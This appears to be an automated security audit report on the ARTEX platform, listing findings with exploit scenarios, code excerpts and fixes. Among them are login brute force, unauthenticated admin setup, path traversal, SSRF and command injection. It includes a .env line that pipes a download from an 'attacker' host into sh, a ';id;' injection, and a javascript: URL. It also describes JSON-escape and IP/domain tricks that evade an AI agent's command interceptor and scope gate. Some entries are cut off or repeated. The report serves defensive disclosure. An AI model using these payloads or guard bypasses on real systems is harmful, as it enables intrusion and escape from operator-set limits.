Adversarial assessment ofozgurnew/ARTEX

What this run establishes.

7 findings were reproduced against the deployed target — those are facts about the running system, not code smells. None of them was also flagged in source, so nothing in this run is corroborated by both halves — they are believed because they were observed. The remainder are leads: real patterns in the source that this run did not reach.

Severity distribution

Confidence tiers

How someone gets in, and what happens then.

Each chain is built only from evidence this run carries. Where a link is documented tradecraft rather than something the run demonstrated, the step says so — an assessment you can trust has to be willing to say “not proven here”.

All 40 findings, ranked.

Ranked by confidence first and severity second: a confirmed medium is more actionable than an unverified critical.

   Static-analysis lead (CWE-307) in server/auth.go the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.

   authLogin is registered on the JWT-exempt path /api/auth/login (server.go:657) and requireAuth explicitly skips any path with the /api/auth/ prefix (auth.go:100-103). The handler (auth.go:208-240) compares a fixed username (line 221) and then calls bcrypt.CompareHashAndPassword (line 230); on mismatch it returns 401 and nothing is recorded anywhere. The only cost per attempt is bcrypt DefaultCost (~50-100 ms), so an unauthenticated client can make tens of thousands of guesses per day against a single, human-chosen password, and authStatus (line 118-125) tells the attacker for free whether the instance is initialized. The successful branch then signs a 7-day HS256 token (line 234). The single admin credential (username is the constant string "ARTEX") can be guessed at line rate: there is no failure counter, no lockout, no delay and no per-IP accounting. A correct guess yields a JWT that g…

   Static-analysis lead (CWE-22) in traffic/traffic.go the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.

   record() takes host := f.Request.URL.Hostname() from the proxied request and persists it in the exchanges table (traffic/traffic.go:441,468). When a host is deleted, stageDeleteHostsExact() derives the legacy directory as filepath.Join(t.dir, sanitize(h)) (line 1454). sanitize() only replaces path separators and control characters; it does NOT reserve the store's own underscore-prefixed directories. Thus a recorded host _index maps to t.dir/_index, the live SQLite index directory, _blobs maps to the blob store, and _ca maps to the MITM CA store. stageTreesForArchive() only checks that the path exists, renames it into _delete_staging, and after the SQLite commit Commit() schedules reapStage(), whose os.RemoveAll() permanently unlinks the moved directory. The same path construction exists in DeleteHost via hostTrees() at line 1221. A network-captured host named _index, _blobs, or _ca is tr…

    Static-analysis lead (CWE-306) in server/auth.go the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.

    Handler() registers POST /api/auth/init (server/server.go:656) and requireAuth exempts every path with the prefix /api/auth/ (server/auth.go:100). authInit therefore runs with no credential at all. It only guards by reading the stored setting auth.password_hash and rejecting when non-empty (server/auth.go:133-137). On an instance where the operator has not yet run the setup flow, the setting is empty, so an attacker-supplied password is bcrypt-hashed and persisted via pg.SetSetting(authPassKey, ...) (server/auth.go:145-153) and signJWT(s.jwtKey) immediately mints a 7-day token returned in the JSON body (server/auth.go:154-159). GET /api/auth/status (also unauthenticated) even reports {initialized:false} so the attacker can detect the vulnerable state. The check-then-act has no atomicity or setup secret, so first caller wins. Any network client that reaches a freshly deployed (or never-in…

    In docker mode, the script runs set -a; . ./.env; set +a. source evaluates shell syntax, so command substitutions in .env are executed. The file is a project-level config often shared/committed. It can also overwrite SQL (built earlier at line 139) and connection variables, so the subsequent docker exec psql pipe sends attacker-controlled SQL. An attacker who can write the deployment .env can execute arbitrary shell commands as the operator running reset-password.sh, and can override the SQL variable to run arbitrary SQL as the database role. This can lead to host compromise or full database takeover. Attacker commits .env with POSTGRES_PASSWORD=$(curl -s http://attacker/payload.sh | sh). Operator runs ./reset-password.sh -m docker to reset the admin password; the command substitution runs on the operator's host before any confirmation. - attacker can write .env in the deployment directo…

    Static-analysis lead (CWE-494) in install.sh the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.

    ensure_docker() prompts to auto-install Docker and, on Linux, runs curl -fsSL https://get.docker.com | sh. The content is consumed as a shell script straight from the network; there is no pinned release, no SHA256, and no signature verification. Integrity rests entirely on the TLS session to get.docker.com. Anyone who controls the response (upstream compromise, DNS/CA-level interception) gets code execution as whatever user invoked install.sh, which then goes on to create docker containers. The installer fetches https://get.docker.com at runtime and executes it directly with sh, with no version pin, checksum, or signature check. If the remote host or the TLS-terminating path is compromised, arbitrary code runs on the operator's machine (typically with docker-group / sudo-adjacent privileges) at install time. An attacker who compromises get.docker.com (or the TLS path) serves a modified i…

    1 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied. signJWT (server/auth.go:64-70) issues HS256 tokens with Subject "ARTEX" and a fixed 724h expiry and nothing else. verifyJWT (server/auth.go:73-81) only checks the HMAC method, signature and exp — no server-side session store, no token version, no jti denylist. authChangePassword (server/auth.go:165-205) rewrites auth.password_hash but never rotates s.jwtKey or bumps any generation counter, so every token minted before the change still validates. There is also no logout endpoint; the only way to invalidate all sessions would be to delete/replace jwt.key, which the code never does at runtime.

    1 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied. runCommandTool renders the admin-authored command template with renderTemplate(spec.Command, params, shellQuote). shellQuote itself is a correct POSIX single-quote escape, but renderTemplate performs one independent strings.ReplaceAll pass per parameter over the WHOLE already-rendered string. So a value inserted for an earlier parameter is re-scanned for later placeholders. If parameter a's value is the literal text {b} and the template also contains {b}, the pass for b rewrites the {b} that is sitting INSIDE a's single quotes: the quoted value '{b}' becomes '';id;'', which the shell parses as an empty string, then the unquoted text ;id;, then another empty string — the injected command executes. Because Go map iteration order is random, the a-before-b ordering is probabilistic p…

    Static-analysis lead (CWE-436) in intercept/intercept.go the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.

    guard.applyIntercept passes the raw tool-input JSON bytes to Interceptor.Match (intercept/intercept.go:508). ruleMatches treats those bytes literally: for MatchTarget == 'tool_input' it sets subject = string(input) and then uses strings.Contains or regexp.MatchString on the raw JSON. The tool runtime, however, parses the same bytes as JSON and executes the decoded string. JSON therefore has two different interpretations: the interceptor sees the escaped representation, while the tool sees the decoded command. Any character in a rule pattern can be represented by a JSON escape (e.g. \u0072 for 'r', \u002d for '-', \u0020 for space, \/ for '/') without changing the command that is eventually executed. There is no json.Unmarshal or semantic normalization before matching, so a rule like 'rm -rf' does not match {"command":"\u0072m -rf /var/www/html"} even though Bash runs 'rm -rf /var/www/htm…

    Static-analysis lead (CWE-598) in web/src/lib/api.ts the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.

    getToken() reads the JWT from localStorage, and sseUrl() interpolates it directly into the EventSource URL as ?token=... rather than sending it in an Authorization header. Because query strings are routinely logged by proxies and retained in browser history, the credential crosses into a less protected storage location. The app uses SSE for chat/side-question streams, so this happens during normal authenticated use, not only in a rare error path. The session bearer token is appended to every SSE URL as a query parameter, so it is recorded by reverse-proxy/access logs, browser history, and Referer headers. Anyone who can read those logs or observe plaintext HTTP traffic can replay the token and take over the authenticated session. An attacker with read access to nginx/Envoy access logs searches for 'GET /api/events?token=' and extracts the JWT. They then call any protected API with 'Autho…

    pgListModels decodes req.BaseURL straight from the JSON body (line 1982) and only trims it (line 2003); it is then concatenated into candidate URLs and fetched with client.Do (line 2071). Nothing constrains the host or scheme, so the endpoint is a full SSRF primitive (host, port and scheme are all attacker-chosen). Separately, when req.APIKey is empty and req.ProfileID is set, the stored profile's secret key is loaded (lines 1993-1996) and set as an Authorization/x-api-key header (bearerHdr/anthropicHdr, lines 2014-2024) on the request to the caller-chosen base_url, so the key is delivered to an attacker-controlled server. The status/body of the internal response is echoed back in the error field (line 2079). An authenticated caller can make the server issue an arbitrary GET to any host/scheme (internal services, cloud metadata) and, by passing profile_id with an empty api_key, cause the…

    Static-analysis lead (CWE-276) in install.sh the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.

    install_local() builds a JSON document with cat > config.json containing "password": "${DB_PASS}". There is no umask 077, no chmod 600, and no other access restriction. On a host with the common umask 022, the resulting file is readable by every local account. The password remains plaintext for the lifetime of the deployment. install.sh writes the PostgreSQL password into config.json using the shell's default umask, typically creating a 0644 file. Any local user on the host can read the database password and connect directly to PostgreSQL, bypassing ARTEX authentication. A low-privileged local user runs cat /path/to/config.json, extracts the database password, and connects to the PostgreSQL service (often 127.0.0.1:5432) as the artex database user to read credentials or modify settings. - Attacker has a local unprivileged account on the same host - The generated config.json was created w…

    Static-analysis lead (CWE-526) in server/mcpdiscover.go the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.

    connectMCP's stdio branch calls mcp.NewStdioClient(ctx, m.Name, m.Command, jsonStrMap(m.Env), jsonStrSlice(m.Args)...). The only environment passed explicitly is m.Env (admin-configured MCP entries), so the child inherits the parent process environment unless NewStdioClient scrubs it; the same codebase's execPython explicitly does c.Env = append(os.Environ(), sessionEnv...), showing the convention is to inherit. The ARTEX process environment includes ARTEX_PG_DSN (main.go logs it as the DB override) and, when configured via env, provider API keys. Thus every stdio MCP binary launched—including the seeded npx browser MCP on first-run discovery—receives DB and LLM credentials it never needs and can POST them anywhere. A malicious or compromised stdio MCP package spawned by the server can read ARTEX_PG_DSN and provider API-key variables from the inherited process environment and exfiltrate …

    Static-analysis lead (CWE-476) in server/manager.go the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.

    MCPServer.Env is a json.RawMessage that is decoded straight from the client's JSON body (pgSaveMCP -> SaveMCP) and persisted verbatim to the jsonb env column (db/config.go:911-926). If the body sends the JSON literal null, m.Env is RawMessage("null") and SaveMCP stores the string "null". Later ListMCP (db/config.go:823) reads that row, and syncBrowserMCPProxy passes srv.Env to decodeStrMap (server/manager.go:709-715). Because decodeStrMap starts with a non-nil map but then json.Unmarshal([]byte("null"), &out) zeroes it, the function returns a nil map. delete(env,...) tolerates nil, but when traffic capture is on (proxy != "" and CA cert path != ""), line 666 executes env["NODE_EXTRA_CA_CERTS"] = cert on the nil map, which panics with 'assignment to entry in nil map'. syncBrowserMCPProxy is called from NewManager (line 445) with no recover, so the panic kills run() at startup; it is also …

    Static-analysis lead (CWE-770) in db/commands.go the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.

    ListCommands accepts page and size from the caller and only defaults non-positive size values to 50; it never imposes a maximum. The caller-supplied size is appended directly to the SQL arguments at line 111 as the LIMIT parameter, so a huge value causes PostgreSQL to return every matching activity row. The rows are then appended one by one into the CommandRecord slice at line 118, retaining all command/output strings in memory. There is no upstream cap visible in this function, and q/expID only narrow the result set. An authenticated caller can force the activity-log query to return the entire activity table in one request. Because each row includes command and output text, a single large LIMIT value can exhaust process memory and kill the backend. The same pattern is present in ListLLMRecords. A logged-in user requests the command-history endpoint with a query such as size=1000000000 (…

    decodeCompanyMutationRequest applies http.MaxBytesReader(2<<20) for company mutations, but insertAssets uses a bare json.NewDecoder(r.Body).Decode(&req) into a struct containing Assets []struct{...} with nested slices (record_value, bound_domains, open_ports, technologies, auth, params). There is no size limit and no cap on len(req.Assets); the loop at line 508 calls as.UpsertX per element, so a multi-hundred-MB body is fully materialized and translated into hundreds of thousands of DB round-trips. A single authenticated request can supply an arbitrarily large JSON body/assets array that json.Decode buffers entirely and the handler then iterates, issuing one DB upsert per element.

    Every other conversation handler (create/update/rename/batch-delete) wraps the body in http.MaxBytesReader via decodeConversationRequest (lines 28-40). pgSendConversationMessage instead calls the bare decode(r, &req) at line 397, so there is no size limit on r.Body and no cap on len(req.Attachments). The whole body is decoded into a string message plus a slice of chatAttachment structs, then userActivityWithAttachments serializes all attachments into ua.Detail and pg.AppendConvActivity writes it to PostgreSQL. A single huge value therefore forces an unbounded allocation and an unbounded DB row.

    fsUploadSkill caps the request body at 20MB (http.MaxBytesReader, line 1293) and caps each extracted file with io.LimitReader(rc, maxSkillFileBytes) (20MB) and a 100MB running total, so raw decompressed bytes are bounded. But before any of the extraction-loop caps run (the size/count checks are only inside the loop at lines 1377-1428, which executes after the SKILL.md read), the handler locates the shallowest SKILL.md and calls readZipEntry(skillMD.f) at line 1339, which inflates up to 20MB of attacker data into md (line 1452).

    readSSEEndpoint uses bufio.Reader.ReadString('\n') with no maximum line length. The same pattern exists in readLegacySSE at line 214. ReadString accumulates the entire line into a string before returning, so a server that sends 'data:' followed by gigabytes of bytes and never terminates the line forces unbounded allocation. NewSSE also drives this initial read with a context.Background()-derived context, so caller cancellation does not stop the allocation.

    add() takes s.mu, copies the current subscriber channels into a local slice, releases the lock (line 143), then later does a non-blocking send to each captured channel (lines 153-158). The unsubscribe closure returned by subscribe() removes the channel from s.subs under the lock but calls close(ch) only AFTER releasing the lock (lines 186-193). This leaves a window: add() can snapshot channel X while it is still registered, unsubscribe then deletes X and closes it, and add() subsequently executes case sub <- l on the closed channel X, which panics ('send on closed channel'). There is no re-check of membership or closed-state between the snapshot and the send, and no recover(), so the panic propagates in whichever goroutine emitted the log line and terminates the process. When an SSE log subscriber disconnects at the same moment the process writes a log line, the writer goroutine sends on…

    Static-analysis lead (CWE-362) in selfupdate/bootstrap.go the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.

    Rollback() uses a fixed temp path tmp := p.Current + ".swap" and performs a non-atomic multi-step rename sequence: os.Remove(tmp) (line 256), os.Rename(p.Current, tmp) (line 257), os.Rename(p.Old, p.Current) (line 260), os.Rename(tmp, p.Old) (line 264). There is no process-wide mutex around these file operations. If request R2 reaches line 256 after R1 has already renamed the real executable into tmp, R2's os.Remove(tmp) deletes the just-preserved current binary. R2 then fails its own Rename(p.Current, tmp) because p.Current no longer exists. R1 completes by moving p.Old into p.Current and then fails to move tmp back to p.Old (tmp was deleted), logging only a cosmetic error and returning success. The net effect is the running/current binary is destroyed and the on-disk production file is the old backup, with the rollback bookkeeping inconsistent. The same unsynchronized temp/rename path …

    emailChannel.Send reads tls via cfgBool (email.go:68, default false). With implicitTLS=false, emailDial does a plaintext TCP connect and Send then does if ok, _ := client.Extension("STARTTLS"); ok { client.StartTLS(...) } (lines 83-88). The decision to encrypt rests entirely on the server's EHLO capability list, which a MITM controls; there is no requirement that the session be encrypted before client.Mail/Rcpt/Data (lines 101-118). Because credentials are only sent when username!="", and smtp.PlainAuth aborts on an unencrypted non-localhost link, an anonymous relay (no username) has no protection at all on the body. The switch implicitTLS only covers the 465 implicit-TLS case; the 25/587 path is opportunistic and unenforced. A network attacker between ARTEX and the SMTP relay can strip STARTTLS from the EHLO response, and the client silently continues the session in cleartext. The base6…

    ssIngest takes the service record's URL from the external list_assets response and stores it via UpsertHTTPService with no scheme validation. The assets page later renders that value directly as href={a.url} on an anchor. React escapes text but does not sanitize URL schemes, so javascript:alert(1) becomes a clickable script execution sink. Data flow: ScopeSentry MCP response -> ssPageAll -> ssIngest -> asset store -> Assets page href. A malicious or compromised ScopeSentry data source can plant a service URL using the javascript: scheme. When an operator clicks the rendered service link, script runs in the ARTEX origin, can read the localStorage JWT and cookie, and can call authenticated APIs as the operator.

    At line 167 target="$DSN" stores the full DSN, which commonly has the form postgres://user:[REDACTED-URL-CRED]@host:5432/db. Line 179 then executes info "目标数据库：$target", printing the full DSN to stderr. The script explicitly supports DSN input from --dsn, ARTEX_PG_DSN, or a config file, so a normal invocation can leak the credential. This is reachable whenever the operator uses DSN-based configuration and captures output (CI logs, terminal scrollback, redirected logs). When the helper is given a DSN that includes the database password, the entire DSN is echoed to stderr. Any user or CI log consumer with read access to the process output obtains the ARTEX PostgreSQL password and can access or overwrite all application data. An operator runs ./reset-password.sh --dsn postgres://artex:[REDACTED-URL-CRED]@db:5432/artex -y. The script prints 目标数据库：postgres://artex:[REDACTED-URL-CRED]@db:5432/…

    Static-analysis lead (CWE-918) in agent/tools_insert.go the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.

    insert_assets unmarshals an attacker-influenced item.URL (line 294) and calls assetInterceptCandidates (line 243), which uses url.Parse(...).Hostname() and net.ParseIP only. Non-canonical IPv4 forms like 2130706433 (127.0.0.1), 127.1, or 0177.0.0.1 are not parsed by net.ParseIP, so the host is appended to domains instead of ips. EvaluateAssetGate then runs exact_ip and cidr rules only against the ips slice (db/asset_intercept_match.go:89-98), so a rule such as cidr 127.0.0.0/8 or exact_ip 127.0.0.1 never matches. The gate allows the asset, UpsertHTTPService stores the URL, and enrichment/worker HTTP access can reach the internal address. A target-supplied URL such as http://2130706433/ is treated as a domain by the asset gate, so exact-IP and CIDR block rules miss it. The asset is accepted and later fetched/tested, letting the agent reach loopback/internal services despite an out-of-scop…

    syncSSDatasource decodes a caller-supplied URL and stores it directly as the MCP server's m.URL without any host, scheme, or IP-range validation. Later, syncSSStatus, syncSSProjects, syncSSTasks, and syncSSRun all call scopeSentryClient, which passes that stored URL into mcphttp.New, causing the server to connect to the caller-chosen endpoint. The attacker controls both the stored URL and the trigger request, so the trust boundary is crossed from the HTTP API into an arbitrary server-side network connection. An authenticated caller can make the ARTEX server issue outbound HTTP requests to arbitrary hosts and ports, including link-local metadata services and internal admin APIs. This is useful for internal network reconnaissance and, if the target speaks a compatible MCP/JSON shape, for reading internal data through the sync endpoints.

    Static-analysis lead (CWE-400) in selfupdate/stage.go the red-team run did not reach. Unverified — reported as a lead for manual review, not a confirmed vulnerability.

    download() streams the HTTP body through io.MultiWriter(f, h, pw) with a plain io.Copy — there is no LimitReader and no check against maxBinarySize (which is only used later in extractBinary). The only size logic, if a.Size > 0 && pw.written != a.Size, runs after the entire body has already been written, so an oversized or never-ending response fills the disk before the mismatch is reported. SHA256 verification happens even later, so it provides no bound either. The asset URL is taken from the GitHub release metadata (rel.FindAsset -> asset.URL) and fetched via get(), which validates only scheme/host of the initial URL; nothing caps the number of bytes written to zipPath. A release asset that is large (or a chunked response with no natural end) is copied to disk with no byte cap, exhausting the filesystem that also holds the executable and, in the shipped compose layout, the bind-mounted…

    buildLeaf and build wrap each child clause, but the OR node itself is not wrapped in parentheses. buildDSLWhereBase returns a clause such as (domain ILIKE $1) OR (domain ILIKE $2). QueryDSLInScope then appends AND id IN (SELECT id FROM target) (line 584) and QueryDSL appends AND type = $N and AND $N = ANY(task_ids) (lines 526/530). SQL precedence binds AND tighter than OR, so the appended security predicates apply only to the final OR operand. A DSL like % OR domain=x causes the first operand to match every asset via the bare-text ILIKE '%%%' branch, while the task scope predicate is attached only to the second branch. A caller able to supply a DSL expression can make the generated WHERE clause treat the task/type filters as applying to only the last OR branch. On QueryDSLInScope this returns assets that belong to other tasks, outside the task's declared scope; on QueryDSL/CountDSL it by…

    insert_assets extracts raw domain candidates and calls db.EvaluateAssetGate before insertion. assetInterceptCandidates returns item.Domain verbatim (URL host extraction also returns the raw Hostname). matchOne's exact_domain branch compares with strings.EqualFold(strings.TrimSpace(d), p) but never canonicalizes the FQDN: a trailing dot, which is DNS-equivalent, is not removed. Thus an exact_domain rule for blocked.example does not match blocked.example.; the gate allows the asset, and the stored service/subdomain can later be used against the same host. An agent can register a host that is semantically identical to an operator-blocked exact domain but differs as a string. The denylist boundary is bypassed, allowing the out-of-scope host to be inserted and later selected for testing. The operator configures an exact_domain asset block for internal.example.

    syncSSRun uses decode directly on r.Body without http.MaxBytesReader and accepts an unbounded req.Targets array. The loop at line 303 iterates every target, and for each target iterates every requested asset type, calling the remote MCP each time. The results, warnings, and errors slices grow with the response volume, and the 10-minute request context keeps the work alive even after the client disconnects only when the context cancels. A single authenticated request can make the server allocate a large target slice and perform three remote asset fetches per target for up to ten minutes. This can tie up goroutines, HTTP connections, and memory, degrading the single-process ARTEX service.

    1 additional call site(s) collapsed during dedup — same root cause; each location needs the same fix applied. testLLM builds agent.ConfigFrom(req.BaseURL, ...) from the request body (line 1383). If the form key is empty it falls back first to the profile's stored key (lines 1400-1404) and then to the running global config's key (lines 1410-1413), and finally calls agent.TestConnection(r.Context(), cfg) (line 1422), which performs a real completion request against cfg.BaseURL with that key. There is no validation that base_url matches the profile/global base_url, so an attacker-supplied URL receives the secret as an Authorization header.

    Redact(dsn) calls url.Parse and only masks the password when the parsed result has a non-nil u.User whose Password() is present. For a keyword/value DSN like 'host=127.0.0.1 user=app password=[REDACTED-SECRET] dbname=artex', url.Parse succeeds but treats the whole string as a path, so u.User is nil and the raw password is returned. Likewise if url.Parse fails the function returns the raw dsn untouched. The result flows into db.Open's error path: fmt.Errorf("ping postgres (%s): %w", config.Redact(dsn), err) at db/db.go:138, and also into start-up logging of the DSN source. The function's contract ('redacted view ... for logging') is therefore violated for the exact alternate DSN form this file itself supports assembling/accepting.

   authLogin is registered on the JWT-exempt path /api/auth/login (server.go:657) and requireAuth explicitly skips any path with the /api/auth/ prefix (auth.go:100-103). The handler (auth.go:208-240) compares a fixed username (line 221) and then calls bcrypt.CompareHashAndPassword (line 230); on mismatch it returns 401 and nothing is recorded anywhere. The only cost per attempt is bcrypt DefaultCost (~50-100 ms), so an unauthenticated client can make tens of thousands of guesses per day against a single, human-chosen password, and authStatus (line 118-125) tells the attacker for free whether the instance is initialized. The successful branch then signs a 7-day HS256 token (line 234).
   
   #### Impact
   The single admin credential (username is the constant string "ARTEX") can be guessed at line rate: there is no failure counter, no lockout, no delay and no per-IP accounting. A correct guess yields a JWT that grants full control of the platform, including the custom-tool feature that executes arbitrary commands/scripts on the host (server/customtool.go:331-416), i.e. RCE.
   
   #### Exploit scenario
   An unauthenticated attacker POSTs repeated {"username":"ARTEX","password":"<guess>"} bodies to http://host:8787/api/auth/login from a handful of connections; each response is a cheap 401 until the guess is right, at which point {"token":"..."} is returned and the attacker can call POST /api/tools/custom/test to run arbitrary code on the host.
   
   #### Preconditions
   - Network reachability to the ARTEX HTTP port
   - The operator chose a guessable password (no complexity policy is enforced at init)
   
   ```
   if req.Username != "ARTEX" {
   	writeErr(w, 401, "用户名或密码错误")
   	return
   }
   ...
   if err := bcrypt.CompareHashAndPassword([]byte(hash), []byte(req.Password)); err != nil {
   	writeErr(w, 401, "用户名或密码错误")
   	return
   }
   ```
   
   #### How to fix
   Add a persistent (survives restart) per-IP and per-account throttle with exponential backoff and a temporary lockout after N failures around the bcrypt compare at server/auth.go:230, and return the same 401 shape for unknown user vs. bad password.
   
   **Exploitability:** Pre-auth, network-reachable, no lockout or rate limit; authStatus is a free initialization oracle. Bcrypt cost only slows guessing, so a single admin password can be brute-forced. Success grants a 7-day HS256 admin JWT. Standalone critical.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 8/10) — `POST /api/auth/login` is JWT-exempt, network-exposed on :8787 with no proxy, hardcoded username, and has zero attempt counting/lockout/delay anywhere in Go or the deployment; unlimited bcrypt guesses → 7-day token → `POST /api/tools/custom/test` RCE.
   
   **Verification**
   
   **Sink — confirmed.** `server/auth.go:208-240` is exactly as claimed: no attempt counter, no lockout, no delay, no per-IP state, no `429` path. On username mismatch (`:221`) or bcrypt mismatch (`:230`) it just writes 401. A cheap, unauthenticated, unlimited oracle.
   
   **Reachability — confirmed.** `server/server.go:657` registers `POST /api/auth/login`; the only wrapper is `api := cors(s.requireAuth(mux))` (`server.go:938`), and `requireAuth` short-circuits on `strings.HasPrefix(p, "/api/auth/")` (`auth.go:100-103`). So the handler is reachable with no credential. `registerSideRoutes` (`side_questions.go:273`) adds no auth wrapper.
   
   **Defences — searched, none.**
   - Grepped the whole tree for `ratelimit|throttl|limiter|lockout|backoff|golang.org/x/time/rate`: every hit is LLM-provider retry, notify-channel pacing, or self-update backoff — nothing on the auth path.
   - `cmd/artex/main.go:116-119`: `http.Server` sets only `ReadHeaderTimeout`; no `MaxConns`, no wrapping limiter. `Handler()` returns the mux directly.
   - `Dockerfile:41` uses `EXPOSE 8787` + `/app/entrypoint.sh` with the Go binary serving directly — no nginx/`limit_req` in front, so no infra-level throttle to fall back on (and README's nginx example is coupling-buffer, not rate-limit).
   - Username is hardcoded `"ARTEX"` (`…

2. **[CRITICAL] CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)** — `traffic/traffic.go:1449` _(Agentic SAST)_ · CVSS 9.1
   Recorded host `_index` aliases store internals and deletes them [CVSS 9.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H]
   #### Description
   record() takes `host := f.Request.URL.Hostname()` from the proxied request and persists it in the exchanges table (traffic/traffic.go:441,468). When a host is deleted, stageDeleteHostsExact() derives the legacy directory as `filepath.Join(t.dir, sanitize(h))` (line 1454). sanitize() only replaces path separators and control characters; it does NOT reserve the store's own underscore-prefixed directories. Thus a recorded host `_index` maps to `t.dir/_index`, the live SQLite index directory, `_blobs` maps to the blob store, and `_ca` maps to the MITM CA store. stageTreesForArchive() only checks that the path exists, renames it into `_delete_staging`, and after the SQLite commit Commit() schedules reapStage(), whose os.RemoveAll() permanently unlinks the moved directory. The same path construction exists in DeleteHost via hostTrees() at line 1221.
   
   #### Impact
   A network-captured host named `_index`, `_blobs`, or `_ca` is translated directly to the traffic store's own directory. Deleting that recorded host (or deleting the task that owns it) moves and purges the live SQLite index/blob store/CA directory, losing captured traffic and breaking subsequent index queries.
   
   #### Exploit scenario
   An attacker causes one proxied request to `http://_index/` (e.g. via a target-controlled redirect or link the browser/agent follows), so an exchange row with host `_index` is recorded. The operator later deletes that host from the traffic page, or deletes the task whose asset scope includes `_index`. The deletion stages `t.dir/_index` and commits, then the background `reapStage` removes the directory containing `index.sqlite`/WAL; subsequent traffic queries fail and recorded index data is gone. The same works with `_blobs` and `_ca`.
   
   #### Preconditions
   - A request with host `_index`, `_blobs`, or `_ca` reaches the recording proxy and gets recorded
   - The operator deletes that exact host, or deletes a task whose traffic hosts include it
   
   ```
   legacy := make([]string, 0, len(unique))
   for _, h := range unique {
       legacy = append(legacy, filepath.Join(t.dir, sanitize(h)))
   }
   ...
   tx, err := t.db.Begin()
   ...
   stage.stageDir, stage.moves, err = t.stageTreesForArchive(legacy, unique, archiveID, taskID)
   ...
   // stageTreesForArchive: os.Rename(source, staged)
   // Commit: s.traffic.reapStage(s.stageDir) -> os.RemoveAll
   ```
   
   #### How to fix
   Keep internal store directories out of the host-to-directory mapping. In stageDeleteHostsExact (and hostTrees), reject or namespace hosts whose sanitize() result is `.`, `..`, or starts with `_`, or place legacy host trees under a dedicated non-colliding prefix. Also add a pathWithin(t.dir, derivedPath) check before staging, not only during journal recovery.
   
   **Exploitability:** Pre-auth via the recording proxy: a proxied host named `_index`, `_blobs`, or `_ca` aliases the traffic store's own internal directories. Deleting that host moves the live index/blob/CA directory into delete staging and reaps it, causing store corruption and DoS with no auth.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 8/10) — `sanitize()` (traffic/traffic.go:670) only maps `/ \ : ? * " < > |` to `_` and never reserves the store's own underscore-prefixed directories, so a recorded host `_index`/`_blobs`/`_ca` yields `filepath.Join(t.dir, "_index")` etc. at line 1454 (and identically in `hostTrees` at 1221). `stageTreesForArchive` (1256) only `os.Lstat`s the path, renames it into `_delete_staging`, and after the SQLite commit `Commit()` (1664) calls `reapStage` → `os.RemoveAll` (1357-1365), permanently unlinking the live index/blob/CA directory. The path is genuinely reachable: `record()` (441) stores `f.Request.URL.Hostname()` verbatim, the proxy is unauthenticated and MITMs every host by default (225-229), and the delete is reachable from the JWT-guarded `DELETE /api/traffic` (server.go:3166), `DELETE /api/traffic/hosts` (3201), and task delete/archive (`StageDeleteHostsExact` at manager.go:1473, `StageDele…

3. **[HIGH] CWE-306: Missing Authentication for Critical Function** — `server/auth.go:128` _(Agentic SAST)_ · CVSS 8.1
   Unauthenticated authInit lets anyone claim an uninitialized admin password [CVSS 8.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H]
   #### Description
   Handler() registers POST /api/auth/init (server/server.go:656) and requireAuth exempts every path with the prefix /api/auth/ (server/auth.go:100). authInit therefore runs with no credential at all. It only guards by reading the stored setting auth.password_hash and rejecting when non-empty (server/auth.go:133-137). On an instance where the operator has not yet run the setup flow, the setting is empty, so an attacker-supplied password is bcrypt-hashed and persisted via pg.SetSetting(authPassKey, ...) (server/auth.go:145-153) and signJWT(s.jwtKey) immediately mints a 7-day token returned in the JSON body (server/auth.go:154-159). GET /api/auth/status (also unauthenticated) even reports {initialized:false} so the attacker can detect the vulnerable state. The check-then-act has no atomicity or setup secret, so first caller wins.
   
   #### Impact
   Any network client that reaches a freshly deployed (or never-initialized) instance can POST a password of its choosing, receive a valid HS256 admin JWT in the response, and thereby own the whole single-user platform: tasks, assets, findings, LLM API keys, workspace files and the one-click update mechanism.
   
   #### Exploit scenario
   Attacker requests GET /api/auth/status, sees {"initialized":false}, then sends POST /api/auth/init with body {"password":"pwned"}. The server stores the bcrypt hash and replies {"token":"<valid HS256 JWT>"}; the attacker now calls every /api/* endpoint (including /api/update/apply and /api/workspace/*) as the administrator and can lock out the real owner by rotating the password.
   
   #### Preconditions
   - Target ARTEX instance is reachable over the network
   - The admin password has not been initialized yet (fresh deployment / setup window)
   
   ```
   existing, _, _ := pg.GetSetting(authPassKey)
   	if existing != "" {
   		writeErr(w, 403, "密码已设置")
   		return
   	}
   	...
   	hash, err := bcrypt.GenerateFromPassword([]byte(req.Password), bcrypt.DefaultCost)
   	...
   	if err := pg.SetSetting(authPassKey, string(hash)); err != nil {
   ```
   
   #### How to fix
   Require proof of local/install-time ownership before accepting the first password (e.g. a one-time setup token printed to the server console/log, a loopback-only source check, or a secret from the data dir), and make the check-and-set atomic (single INSERT ... ON CONFLICT / SELECT FOR UPDATE) in server/auth.go authInit so concurrent callers cannot both initialize.
   
   **Exploitability:** Pre-auth only while the instance is uninitialized. race is deterministic: anyone who reaches /api/auth/init before the operator sets a password becomes admin and receives a JWT immediately. This is the strongest chaining entry point into all post-auth findings.
   
   #### Adversarial verification
   **Verdict:** TRUE_POSITIVE (confidence: 8/10) — `POST /api/auth/init` is unauthenticated via the `/api/auth/` exemption, guards only on an empty `auth.password_hash`, and on an uninitialized instance persists attacker-chosen credentials and returns a valid 7-day admin JWT; `GET /api/auth/status` discloses the pre-state, no loopback/setup-secret defence exists.
   
   Verified the full chain in source.
   
